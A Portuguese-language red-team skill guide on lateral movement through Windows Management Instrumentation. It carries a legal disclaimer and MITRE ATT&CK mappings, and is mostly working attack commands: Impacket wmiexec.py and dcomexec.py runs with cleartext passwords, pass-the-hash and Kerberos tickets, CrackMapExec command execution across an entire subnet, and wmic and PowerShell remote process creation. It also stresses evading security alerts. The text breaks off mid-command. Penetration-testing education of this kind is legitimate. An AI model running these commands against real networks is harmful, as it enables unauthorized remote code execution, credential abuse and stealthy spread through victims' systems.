Movimentação Lateral com WMIExec

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.

Visão Geral

WMI (Windows Management Instrumentation) é um framework legítimo de administração do Windows que equipes vermelhas abusam para movimentação lateral, pois fornece execução remota de comandos sem implantar serviços adicionais ou deixar artefatos óbvios como o PsExec. O wmiexec.py do Impacket cria um shell semi-interativo via WMI executando comandos através do Win32_Process.Create e lendo a saída por meio de arquivos temporários no compartilhamento ADMIN$. Ao contrário do PsExec, o WMIExec não instala um serviço no alvo, tornando-o mais furtivo e menos propenso a disparar alertas de segurança. A movimentação lateral baseada em WMI mapeia para o MITRE ATT&CK T1047 (Windows Management Instrumentation) e é usada por atores de ameaças, incluindo APT29, APT32 e Lazarus Group.

Quando Usar

• Ao conduzir avaliações de segurança que envolvem a realização de movimentação lateral com wmiexec
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
• Ao realizar testes de segurança agendados ou atividades de auditoria
• Ao validar controles de segurança por meio de testes práticos

Pré-requisitos

• Familiaridade com conceitos e ferramentas de red teaming
• Acesso a um ambiente de teste ou laboratório para execução segura
• Python 3.8+ com as dependências necessárias instaladas
• Autorização apropriada para quaisquer atividades de teste

Objetivos

• Executar comandos remotos em alvos Windows usando técnicas baseadas em WMI
• Estabelecer shells semi-interativos via Impacket wmiexec.py
• Realizar movimentação lateral com Pass-the-Hash usando WMI
• Usar CrackMapExec para execução de comandos WMI em múltiplos alvos
• Executar comandos WMI nativos do PowerShell para movimentação lateral sem arquivos
• Encadear WMI com coleta de credenciais para acesso em toda a rede

Mapeamento MITRE ATT&CK

• T1047 - Windows Management Instrumentation
• T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
• T1550.002 - Use Alternate Authentication Material: Pass the Hash
• T1059.001 - Command and Scripting Interpreter: PowerShell
• T1570 - Lateral Tool Transfer

Fluxo de Trabalho

Fase 1: WMIExec com Impacket

1. Executar um shell semi-interativo com credenciais:

   # With cleartext password
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50
   
   # With NT hash (Pass-the-Hash)
   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50
   
   # With Kerberos ticket
   export KRB5CCNAME=admin.ccache
   wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local
   
   # Execute specific command (non-interactive)
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
   

2. Executar comandos sem arquivo de saída (mais furtivo usando DCOM):

   # Using dcomexec.py as alternative (MMC20.Application DCOM object)
   dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
   
   # Using ShellWindows DCOM object
   dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
   

Fase 2: Execução Multi-Alvo com CrackMapExec

1. Executar comandos em múltiplos alvos:

   # Execute single command on subnet
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
   
   # Execute with hash
   crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
   
   # Execute PowerShell command
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
   
   # Check local admin access via WMI
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
   

Fase 3: Comandos WMI Nativos (Windows)

1. Executar comandos remotos usando ferramentas WMI integradas do Windows:

   # Usando wmic.exe (descontinuado, mas ainda disponível)
   wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
   
   # Usando PowerShell Invoke-WmiMethod
   $cred = Get-Credential
   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
     -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
   
   # Usando sessões CIM (substituição moderna para WMI)
   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
   

…